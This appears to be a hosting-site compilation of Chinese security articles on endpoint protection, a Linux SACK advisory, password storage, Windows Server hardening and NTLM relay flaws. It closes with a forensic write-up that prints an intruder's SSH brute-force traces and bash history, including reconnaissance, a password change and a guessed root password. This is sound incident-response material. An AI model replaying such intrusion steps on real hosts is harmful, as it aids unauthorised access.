服务器|云|数据中心

服务器|云主机|vps|站群

导致企业端点安全问题的五个原因

1. 不了解端点安全

当然,这是许多端点安全问题的根源。企业决策者常常将现代的下一代端点安全与早期的计算机保护程序混为一谈。这种关联一度是正确的,但现在不再是这样。

那么,端点安全是什么?简而言之,端点安全可以保护连接到企业网络的所有设备。

端点安全

当然,端点安全确实包含反恶意软件和防火墙,这是早期计算机保护的原始功能。然而那些功能尽管很重要,但都只是端点安全功能的表层。

毕竟,连接到贵公司网络的每个设备(每个端点)是进入IT基础设施的潜在入口。数据流量进出端点,甚至可能最终存储在端点上。此外,应用程序一直与这些端点进行交互,若不加以监测,这可能会造成安全漏洞。

因此,你的端点安全还必须包括:

  • 端口控制
  • 应用程序控制
  • 终点检测和响应(EDR)。
  • 数据丢失预防
  • 沙箱
  • 安全电子邮件网关
  • 云边界安全

因此,你需要了解下一代端点保护平台的好处。此外,你应该熟悉贵企业的使用场合,以了解需要优先关注哪些功能。

2. 忽视端点保护演进方面的趋势

知名技术研究公司Gartner在魔力象限报告中特别提到了端点保护平台的成熟度。然而,成熟度并不等同于静态。终端安全在不断发展,以便最有效地抵御和阻挡黑客的战术。然而,企业常常忽视这些变化,从长远来看导致端点安全的问题得不到消除。

端点保护平台的最新趋势包括机器学习的好处;这些AI算法帮助安全团队紧跟日益自动化的数字威胁。

此外,现代数字边界必须包括防范无文件恶意软件的机制。这种新型恶意软件的行为与其他较传统的攻击全然不同;无文件恶意软件钻原生进程的空子,而不是恶意软件将文件下载到你的端点上。

这么一来,无文件恶意软件在进行恶意攻击时隐藏起来,不被典型的检测系统发现。只有下一代解决方案才能抵御这种威胁。

最后,现代EPP必须针对物联网。企业将物联网设备整合到网络中,而不先问问它们是否含有任何安全机制。它们常常不会这么做;即使这么做,这种安全也很少容易修补。

作为改善贵公司端点安全问题的一方面,你要及时了解功能和威胁方面的最新趋势。拥有多个威胁情报源有所帮助。

3. 端点安全过于复杂化

这是个常见的谬误:网络安全系统越多,贵企业就越安全。

其实,情况往往恰好相反;实际上,端点保护平台越精简且集成,你的数字资产就越安全。

据Absolute声称,端点上每增加一个安全工具,只会加大失败的可能性。但平均而言,企业每个设备使用10个安全代理,这可能包括加密、反恶意软件和补丁管理代理。

安全代理越多,集成问题和安全漏洞就越多。此外,每个代理都需要给予关注和监控,这常常导致代理易被疏忽。

部署集中式端点安全解决方案可以解决此问题。毕竟,下一代解决方案应包括一个套件中的所有代理,同时包括集中式管理。这可以帮助IT安全团队有效监控你的能力。

4. 缺乏问责制

你的端点安全问题不是靠购买EPP解决方案就能神奇解决的。因此,你需要落实某种系统以确保贵公司受益于网络安全并获得最佳保护。因此,贵企业应落实一套系统来确保问责制。理想情况下,该计划应回答以下问题:

  • 谁负责选择EPP?
  • 将如何部署解决方案?这要花多久?
  • 你将采用哪些策略来教育用户,让他们面对、而不是规避解决方案?
  • 你将如何密切关注其成功?如何定义成功?
  • 你将在哪里获得威胁情报,将如何整合威胁情报?

5. 注重反恶意软件而不是其他功能

最后,继续依赖反恶意软件是最常见的企业端点安全问题之一。企业决策者常常认为,单单反恶意软件可以解决其网络安全问题;毕竟,过去几年是这么解决这类问题的。

然而,正如我们上面讨论的,反恶意软件只处理贵公司面临的一些问题。你需要其他功能才能对付外部威胁分子。然而,恶意软件仍然是一种威胁,但恶意数据流量和漏洞百出的边界同样是威胁。

最有可能的是,贵企业面临独特的端点安全问题。处理这类问题应成为IT安全团队和整个公司的首要任务。

【漏洞预警】Linux 内核TCP SACK机制远程拒绝服务漏洞

【漏洞预警】Linux 内核TCP SACK机制远程拒绝服务漏洞

2019年6月18日,国外某安全研究组织披露Linux 内核TCP SACK机制存在缺陷,可导致远程拒绝服务。CVE编号为CVE-2019-11477、CVE-2019-11478和CVE-2019-11479。

 

漏洞描述
Linux 内核2.6.29及之后版本在处理TCP SACK机制时存在缺陷,导致整数溢出漏洞,攻击者可以构造特定的SACK包,远程触发Linux服务器内核模块溢出漏洞,实现远程拒绝服务攻击。 这个不会导致机器被黑,只是会弄到服务器突然间不能使用,因为CPU/内存资源被堵满

 

漏洞评级
CVE-2019-11477 高危
CVE-2019-11478 中危
CVE-2019-11479 中危

 

 

安全修复建议
注:以下任意一种修复方式都有可能造成业务不可用

 

一、禁用SACK机制功能,执行如下命令(目前暂时这个是最好的方式):
echo 0 > /proc/sys/net/ipv4/tcp_sack
sysctl -w net.ipv4.tcp_sack=0

 

 

二、升级Linux安全补丁(需要重启服务器, 请注意,目前CENTOS 和UBUNTU 还没跟新KERNEL,所以一下方案还不能使用,需要等CENTOS/UBUNTU 有了新KERNEL 才能升级)
Ubuntu 系列:apt-get update && sudo apt-get install linux-image-generic
Centos 系列:yum update kernel

密码管理:你的密码安全吗?

互联网时代,密码与我们的生活息息相关。如何提高密码安全系数成为用户个人以及公司的关注重点。

虽然现在身份验证技术已经更加成熟,但是密码仍然是保护我们最敏感信息的主要途径。密码是防御潜在入侵者试图模仿另一个用户的第一道防线,但这样的防护往往比较弱。用户通常想创建易于记忆的密码,使用出生日期或纪念日,甚至写下来。开发人员则想尽可能少地投入密码管理策略中。毕竟,研发新功能比密码管理和存储更令人兴奋、更有趣。

许多密码本身安全性非常弱,很容易猜得到,攻击者就会有机可乘。最糟糕的是,我们信任的密码存储系统和其它关键信息的系统也面临着许多安全挑战。黑客会反复尝试密码数据库进行盗窃,攻击者同伙经常会破坏那些保护数据的模式。

我们探讨一下公司在密码管理策略方面做出的一些常见错误。让在下面的讨论中,我们将提到“在线攻击”和“离线攻击”。在线攻击是对应用程序登录页面的攻击,攻击者试图猜测用户的密码;离线攻击是攻击者获取密码数据库副本,并尝试计算存储在其中的用户密码的攻击。

密码管理:你的密码安全吗?
您已限制用户可以使用的字符数量或种类

推理

安全人员反复告诉开发人员验证所有输入以防止各种攻击(例如,注入攻击)。因此,根据某些规则来制定验证密码的规则必然是一个好主意,对吧?

攻击:

限制密码中字符数量或种类的问题是减少了可能的密码总数。这使得在线和离线攻击更容易。如果我知道只允许在密码中使用特殊字符!和@,那也就是我知道用户密码都没有包含#,$,%,<和>等字符。此外,如果我知道只允许长度为8到12个字符的密码,我也就知道所有用户都没有使用13个字符或更长的密码。如果我想猜测用户的密码,这些规则可以让我的工作变得更轻松。

但是SQL注入、跨站点脚本,命令注入和其它形式的注入攻击呢?如果遵循密码存储最佳做法,您将在收到密码后立即计算密码的哈希值。然后,您将只处理哈希密码,不必担心注入攻击。

防御:

允许用户选择包含任意字符的密码。指定最小密码长度为8个字符,但在可行的情况下允许任意长度的密码(例如,将它们限制为256个字符)。

您在使用密码组合规则

推理:

大多数用户选择容易猜到的密码。我们可以通过让用户选择包含几种不同类型字符的密码,以强制用户选择难以猜测的密码。

攻击:

安全专业人员曾经认为,让用户选择包含各种字符类型的密码会增强密码的安全性。不幸的是,研究表明这通常没有帮助。 “Password1!”和“P @ ssw0rd”可能遵循了许多密码组合规则,但这些密码并不比“password”更强。密码组合规则只会让用户难以记住密码;它们不会让攻击者的工作变得更加困难。

防御:

摆脱密码组成规则。在应用程序中添加密码复杂性检查功能,告诉用户他们的密码选择是否明显强度偏弱。但是,不要强制用户在其密码中添加数字、特殊字符等。稍后,我们将讨论如何使应用程序更安全,以防止安全性弱的用户密码。

密码管理:你的密码安全吗?
您没有安全地存储密码

推理:

加密哈希函数是单向函数。因此,存储哈希密码应该可以防止攻击者计算出它们。

攻击:

与前面讨论过的两个问题不同,这个问题通常只与离线攻击有关。许多企业和组织的密码数据库都被盗了。当掌握了被盗密码库和强大的计算能力,攻击者通常可以计算出许多用户的密码。

存储密码的常用方法是使用加密哈希函数,对密码进行哈希处理。如果最终用户选择完全随机的20+字符密码,这种方法将是完美的。例如密码设成:/K`x}x4%(_.C5S^7gMw)。不幸的是,人们很难记住这些密码。如果简单地对密码进行哈希处理,则使用彩虹表攻击就很容易猜到用户选择的典型密码。

阻止彩虹表攻击通常需要在对每个密码进行散列之前添加随机“盐”。“盐”可以与密码一起存储在清除中。不幸的是,加盐的哈希并没有多大帮助。 GPU非常擅长快速计算加盐哈希值。能够访问大量加盐哈希和GPU的攻击者将能够使用暴力破解和字典攻击等攻击合理且快速地猜测到密码。

有太多不安全的密码存储机制,值得专门写篇文章去探讨。不过,我们先来看看您应该如何存储密码。

防御:

有两种主要机制可以防止攻击者:一种是使哈希计算更加昂贵,另一种是向哈希添加一些不可估测的东西。

为了使哈希计算更加昂贵,请使用自适应哈希函数或单向密钥派生函数,而不是密码哈希函数来进行密码存储。加密哈希函数的一个特性是它们可以被计算出来;这个属性导致它们不适合用于密码存储。攻击者可以简单地猜测密码并快速散列以查看生成的哈希值是否与密码数据库中的任何内容匹配。

另一方面,自适应哈希函数和单向密钥导出函数具有可配置的参数,这些参数可用于使哈希计算更加资源密集。如果使用得当,它们可以有助于充分减缓离线攻击,以确保您有时间对正在受到攻击的密码数据库做出反应。

这种方法的问题在于,每次要对用户进行身份验证时,都必须自己计算这些哈希值。这会给服务器带来额外负担,并可能使应用程序更容易受到DoS(拒绝服务)攻击。

或者,您可以添加一些不可猜测的密码哈希值。例如,如果要生成一个长随机密钥,将其添加到密码哈希值以及唯一的随机盐,并且稳妥地保护密钥,那么被盗密码数据库对攻击者来说将毫无用处。攻击者需要窃取密码数据库以及能够使用离线攻击计算出用户密码的密钥。当然,这也产生了一个需要解决的非常重要的密钥管理问题。

您完全依赖密码

推理

密码必须是验证用户身份的好方法。其他人都在使用它们!

攻击:

即使用户执行上述所有操作,以使在线和离线攻击更加困难,也无法阻止其它应用程序/网站执行不恰当的操作。用户经常在许多站点上重复使用相同的密码。攻击者经常会在某平台尝试从其它平台盗取密码。

此外,用户成为网络钓鱼攻击的受害者,因为一些用户无论密码要求如何都会选择安全性弱的密码,等等。

防御:

要求用户使用多因素身份验证登录。请记住多因素身份验证的含义:使用至少两种不同因素进行身份验证(典型因素是您知道的事情、拥有的物品、以及生物识别等等)。使用两种不同的密码(例如,密码+安全问题的答案)不是多因素身份验证。同时使用密码和动态口令属于多因素验证的一种。此外,请记住,某些多因素身份验证机制比其它多因素身份验证机制更安全(例如,加密设备比基于SMS的一次性密码更安全)。无论如何,使用某种形式的多因素身份验证总是比仅依靠密码更安全。

如果必须仅使用密码进行身份验证,用户则还必须采取某种类型的设备身份验证。这可能涉及设备/浏览器指纹识别,检测用户是否从不寻常的IP地址登录,或类似的方式。

密码管理:你的密码安全吗?
结论

如您所见,处理用户密码时需要考虑很多事项。我们还没有谈到密码轮换策略、帐户锁定、帐户恢复、速率限制,防止反向暴力攻击等等。

有一个很重要的问题需要考虑:您是否可以将用户身份验证转给其他人?如果你是一家金融机构,答案可能是否定的;如果您要把最新的猫咪宠物视频给别人看,在此之前需要验证,那这种情况下答案应该是可以的;如果您正在开发面向企业员工内部使用的应用程序,请考虑基于SAML的身份验证或LDAP集成;如果您正在开发面向公众的应用程序,请考虑使用社交登录(即使用Google,Facebook等登录)。许多社交网站已经投入大量精力来保护其身份验证机制,并为用户提供各种身份验证选项。您不需要全盘重来。

在不必要的情况下实施用户身份验证会给企业和用户都带来麻烦,甚至有潜在危险。创建安全的用户验证机制困难且耗时。可您是真的想要处理被盗用的密码数据库,还是攻击者在身份验证机制中发现漏洞?而且用户有更重要的事情要做,而不是记住另一个密码!

windows server 2008 R2 系统安全配置

window 安全配置规则

一、开启防火墙

二、允许远程网络进行远程桌面连接

如果使用默认的远程端口的话,按照下图,允许远程桌面通过防火墙就行了;

如果你的远程端口号不是默认的,则需要按照(四)中新建入站规则

三、修改远程端口号

运行中输入regedit(打开注册表编辑器)

  1. 在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp目录下,修改PortNumber数值,这边将其端口修改为33899(十进制)
  2. 在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Tenninal Server\WinStations\RDP-Tcp目录下,修改PortNumber数值,将其端口修改为33899(十进制)

重启服务器生效,使用IP + 端口,远程访问

四、只允许固定源IP访问远程端口

  1. 进入控制面板
  2. 找到Windows 防火墙
  3. 左边高级设置
  4. 点击入站规则
  5. 右上角新建规则
  6. 打开新建入站规则向导界面,规则类型:选择自定义,点击下一步,程序选择默认,点击下一步
  7. 协议和端口:协议类型选择TCP,本地端口选择特定端口下方输入11650远程端口选择所有端口,点击下一步
  8. 作用域:在 此规则应用于哪些远程ip地址 选择下列ip地址,点击添加输入您的指定ip,点击下一步,操作和配置文件选择默认,点击下一步
  9. 名称:命名为11650,描述写上特定IP访问指定端口至此设置完成

五、更改管理员密码

  1. 进入开始面板,点击管理工具
  2. 双击打开计算机管理
  3. 依次打开系统工具->本地用户和组->用户,找到administrator管理员用户
  4. 右键administrator管理员用户,选择 设置密码,弹出的提示框,点击
  5. 进入设置密码提示框,输入您想要设置的密码,点击确定即可。 注意:系统会强制密码复杂性,密码最好由大小写字母+数字组成
  6. 设置成功之后会提示成功,下次登录时就可以用新的密码登陆了

六、密码错误几次后锁定该用户

  1. 依次打开管理工具->本地安全策略->账户策略->账户锁定策略
  2. 双击账户锁定阈值,这里,我们设置5次失败后,锁定账户30分钟

七、禁用Guest帐号

默认情况下,新安装的windows操作系统,都是禁用该帐号的。为了安全起见,可以按照以下步骤检查系统是否禁用了该帐号

  1. 进入开始面板,点击管理工具
  2. 双击打开计算机管理
  3. 依次打开系统工具->本地用户和组->用户 ,找到Guest帐号

    如果帐号名称左下角有个向下的箭头,说明已经禁用了

    如果帐号名称左下角没有箭头,

  4. 右键Guest管理员用户,选择 属性,选中下图中的位置

  5. 设置拒绝远程访问

八、删除不必要的用户

  1. 进入开始面板,点击管理工具
  2. 双击打开计算机管理
  3. 依次打开系统工具->本地用户和组->用户
  4. 左键单机,选中不必要的用户,点击红叉进行删除操作

九、创建新用户作为管理员进行远程登录,加入Administrator用户组,禁止Administrator远程登录服务器

考虑到有些服务需要作为administrator用户运行,所以不建议对administrator用户进行改名,我们选择新建用户并加入管理员组

  1. 进入开始面板,点击管理工具
  2. 双击打开计算机管理
  3. 依次打开系统工具->本地用户和组->用户
  4. 创建新用户,用户名xiaomi,密码自己设置

  5. 把新用户xiaomi加入管理员组

    Administrators属性对话框中,选择确定

  6. 禁止Administrator远程登录服务器

    控制面板->管理工具->本地安全策略->本地策略->用户权限分配->
    双击拒绝通过远程桌面服务登录

    这样设置之后,administrator用户依然可以弹出远程桌面连接,并让输入密码,但是无法进入远程桌面

十、更改文件共享的默认权限

将共享文件的权限从“Everyone”更改为”授权用户”,”Everyone”意味着任何有权进入网络的用户都能够访问这些共享文件。

十一、安全密码

安全密码的定义是:安全期内无法破解出来的密码就是安全密码,也就是说,就算获取到了密码文档,必须花费42天或者更长的时间才能破解出来(Windows安全策略默认42天更改一次密码)。

十二、屏幕保护 / 屏幕锁定 密码

防止内部人员破坏服务器的一道屏障。在管理员离开时,自动加载。

十三、安装防病毒软件

Windows操作系统没有附带杀毒软件,一个好的杀毒软件不仅能够杀除一些病毒程序,还可以查杀大量的木马和黑客工具。设置了杀毒软件,黑客使用那些著名的木马程序就毫无用武之地了。同时一定要注意经常升级病毒库 !

这里我们用安全狗这个第三方安全软件,安装之后,会提示让体检,检查结果如下:

我们来看下帐号风险里有什么需要修复的,提示xiaomi这个帐号没必要启用,但是,我们认为xiaomi这个必须是要启用的,所以这项选择忽略

其它风险项可以查看一下,必要修复就修复,像系统漏洞这些,强烈建议修复,虽然系统会很卡

前面我们设置了只允许固定的源IP地址访问远程桌面端口号

这里我们通过安全狗,再增加设置,只允许固定的主机名可以访问远程桌面端口号,截图如下:

十四、定时备份服务器上的重要文件到本地或其它服务器

备份到本服务器是没有多大意义的,所以建议备份到别的机器

备份的方式,建议选择对目标文件或目录进行压缩后拷贝出来

十五、系统防火墙和安全狗的防火墙关系

安全狗的防火墙是在系统防火墙之上的

也就是说外界想要访问你服务器上某个端口,先经过安全狗的防火墙,再经过系统防火墙

实验过程:

在服务器上开启80端口的web服务后

  1. 安全狗的防火墙设置允许通过,系统防火墙设置不允许通过,结果:不允许通过
  2. 安全狗的防火墙设置允许通过,系统防火墙设置允许通过,结果:允许通过
  3. 安全狗的防火墙设置不允许通过,系统防火墙设置允许通过,结果:不允许通过
  4. 安全狗的防火墙设置不允许通过,系统防火墙设置不允许通过,结果:不允许通过

所以,当服务器上某个端口外网无法访问时,需要排查这2个防火墙,是不是很烦。建议用系统自带的防火墙,安全狗的防火墙保持默认就行

十六、堡垒机

堡垒机作为服务器的最后一道屏障,其安全方面需要做到以上十五点,更需要开启审计功能。

十七、特别提醒

我们在第点和第十三点分别提到了限制源IP访问远程桌面端口和限制源主机名访问远程桌面端口

所以:

  1. 如果你的办公网的出网IP是变动的公网IP
  2. 如果你需要用不同的终端主机访问服务器的远程桌面端口

这两种情况,根据实际情况选择使用系统自带的策略或是选择安全狗的策略,但是个人建议使用系统自带的策略安全狗的策略保持默认即可。

如何保护网络远离微软NTLM协议中的安全漏洞?

微软的NTLM(NT LAN Manager)是一种较旧且现已过时的安全协议,用于对Windows域中的用户登录信息进行身份验证。虽然微软早已将NTLM换成Kerberos、作为Active Directory的默认验证方法,但该公司仍然支持这种旧协议,同时建议客户改而采用Kerberos。

如何保护网络远离微软NTLM协议中的安全漏洞?

众所周知,即使一种技术或协议陈旧、过时或不再被推荐,这并不意味着企业组织不再使用它。问题是,NTLM一直受到安全漏洞的困扰。在周二发布的一份报告中,安全提供商Preempt描述了最新的漏洞,并就如何保护网络远离这些漏洞给出了忠告。

Preempt在报告中表示,它最近基于NTLM中的三个逻辑漏洞发现了两个关键的微软漏洞。这些漏洞可能让攻击者可以在任何Windows计算机上远程执行恶意代码,或者通过身份验证,连接到支持Windows Integrated Authentication(WIA)的任何Web服务器,比如Exchange或ADFS。Preempt的研究表明,所有版本的Windows都容易受到这些漏洞的影响。

报告特别指出,NTLM的一大缺陷是它容易受到转发攻击(relay attack),这个过程让攻击者可以在一台服务器上获取身份验证,然后将其转发到另一台服务器,从而让他们可以使用那些同样的登录信息来控制远程服务器。

微软已开发了几个修复程序来防止NTLM转发攻击,但攻击者可以通过以下三个逻辑漏洞找到绕过它们的方法:

  • 消息完整性代码(MIC)字段试图防止攻击者篡改NTLM消息。然而Preempt的研究人员发现,攻击者可以删除MIC保护机制,并更改NTLM验证使用的某些字段。
  • SMB会话签名可防止攻击者转发NTLM身份验证消息,以此建立SMB会话和DCE/RPC会话。但Preempt发现攻击者可以将NTLM身份验证请求转发到域中的任何一台服务器(包括域控制器),并创建签名会话以便在远程计算机上执行代码。如果转发的身份验证含有特权用户的登录信息,整个域可能岌岌可危。
  • 增强的身份验证保护(EPA)可防止攻击者将NTLM消息转发到TLS会话。但是Preempt发现攻击者可以篡改NTLM消息,以生成合法的通道绑定信息。然后这类攻击者可以使用用户的登录信息,连接到域中的Web服务器,从而得以通过转发到Outlook Web Access服务器或通过转发到(ADFS)Active Directory Federation Services服务器以连接到云资源,读取用户的电子邮件。

周二微软将发布两个补丁,试图堵住NTLM中这些最新的安全漏洞。除了敦促企业组织给高危系统打上这些新的补丁外,Preempt还给出了其他建议。

补丁

确保给所有工作站和服务器打上了微软的最新补丁。寻找微软在6月11日星期二的CVE-2019-1040和CVE-2019-1019补丁。据Preempt声称,光打补丁本身并不够,它还建议在配置方面进行几处调整。

配置

  • 实施SMB签名机制。想防止攻击者发起较简单的NTLM转发攻击,请在所有联网计算机上启用SMB签名机制。
  • 阻止NTLMv1。由于NTLMv1被认为不安全,Preempt建议企业组织通过适当的组策略设置完全阻止它。
  • 实施LDAP/S签名机制。想防止LDAP中的NTLM转发,请对域控制器实施LDAP签名和LDAPS通道绑定机制。
  • 实施EPA。想防止Web服务器上的NTLM转发,请加固所有Web服务器(OWA和ADFS),只接受采用EPA的请求。

Preempt的首席技术官兼联合创始人Roman Blachman在一份新闻稿中说:“尽管NTLM 转发攻击是一种老套的手法,企业却无法彻底消除使用这种协议,因为这会破坏许多应用程序。因此它仍给企业带来了巨大的风险,尤其是在新漏洞不断被发现的情况下。公司需要先确保所有Windows系统都已打上补丁、安全配置。此外,企业组织可以通过了解网络NTLM的情况,进一步保护环境。”

一次服务器沦陷为肉鸡后的实战排查过程!

1、从防火墙瘫痪说起

今天还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页。急急忙忙感到公司,开始查找问题。

首先排除了交换机故障,因为内部局域网正常。当ping防火墙设备时,丢包严重。很明显,防火墙出了问题,撑不住了,其Web管理界面根本无法正常登陆。立即联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台服务器大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数,大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为A和B。把这两台机器断线之后,网路立刻正常了,防火墙上的链接数很快降低到正常水平。

主机A配置如下:

  1. OS – RedHat Enterprise Linux Server release 6.x
  2. 部署软件 – Tomcat,sshd, oracle
  3. RAM – 8GB
  4. CPU – Intel Core i3-2130
  5. IP地址 – 172.16.111.22

主机B为客户托管主机,具体配置不详。

本文只对主机A进行分析处理。

通过防火墙命令行界面,抓包发现A机器疯狂对一组IP地址进行22端口扫描。下面是抓包结果片段:

  1. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
  2. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
  3. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
  4. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
  5. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
  6. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
  7. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
  8. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
  9. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
  10. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
  11. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
  12. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
  13. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
  14. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
  15. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
  16. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
  17. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
  18. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
  19. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
  20. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
  21. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
  22. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
  23. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
  24. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

可以清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22端口。

2、查找黑客行踪的方法

对于Linux主机,出现问题后分析和处理的依据主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目标,然后就是.bash_history命令记录。黑客登录主机必然会在日志中留下记录,高级黑客也许可以删除痕迹,但目前大部分黑客都是利用现成工具的黑心者,并无太多技术背景。该主机对外开放三个TCP侦听端口:

  1. 22 sshd
  2. 80 Tomcat
  3. 1521 Oracle

这三个服务都有可能存在漏洞而被攻击,最容易被扫描攻击的还是sshd用户名密码被破解。所以最先分析 /var/log/secure日志,看登录历史。

3、沦陷过程分析

3.1 oracle用户密码被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件,每个文件都记录了大量尝试登录的情况,执行命令:

  1. cat secure-20150317 | grep ‘Failed password’ | cut -d ” “ -f 9,10,11 | sort | uniq

结果如下:

  1. invalid user admin
  2. invalid user dacx
  3. invalid user details3
  4. invalid user drishti
  5. invalid user ferreluque
  6. invalid user git
  7. invalid user hall
  8. invalid user jparksu
  9. invalid user last
  10. invalid user patrol
  11. invalid user paul
  12. invalid user pgadmin
  13. invalid user postgres
  14. invalid user public
  15. invalid user sauser
  16. invalid user siginspect
  17. invalid user sql
  18. invalid user support
  19. invalid user sys
  20. invalid user sysadmin
  21. invalid user system
  22. invalid user taz
  23. invalid user test
  24. invalid user tiptop
  25. invalid user txl5460
  26. invalid user ubnt
  27. invalid user www
  28. mysql from 10.10.10.1
  29. oracle from 10.10.10.1
  30. root from 10.10.10.1

可以看出攻击程序不断采用不同的账户和密码进行尝试。然后在接近尾部的地方发现如下2行,说明被攻破了。

  1. Mar 9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
  2. Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

可见账户oracle的密码被猜中,并成功登入系统。

3.2 黑客动作推演

下面看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止后续操作丢失该记录。

  1. cp /home/oracle/.bash_history hacker_history

然后查看分析这个文件。 我在后面备注了黑客的想法。

  1. vi .bash_profile
  2. vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin增加到PATH)
  3. ll
  4. cd /
  5. vi .bash_profile
  6. vi .bash_profile (执行,设置环境变量)
  7. w
  8. ps x (查看系统运行进程)
  9. free -m (查看内存大小)
  10. uname -a (查看系统版本)
  11. cat /etc/issue (查看系统发行版)
  12. cat /etc/hosts (查看是否有网内机器)
  13. cat /proc/cpuinfo (查看CPU型号)
  14. cat .bash_history (查看oracle账户历史操作)
  15. w (查看系统负载)
  16. ls -a (查看/home/oracle/下的隐藏文件)
  17. passwd (修改掉oracle账户的密码)
  18. exit
  19. ls
  20. oracle
  21. sqlplus (运行sqlplus)
  22. su (试图切换到root账户)
  23. app1123456 (猜测root密码)
  24. ls
  25. su –
  26. w
  27. free -m
  28. php -v (查看php版本)
  29. exit
  30. w
  31. free -m
  32. php -v
  33. ps aux
  34. ls -a
  35. exit
  36. w
  37. free -m
  38. php -v
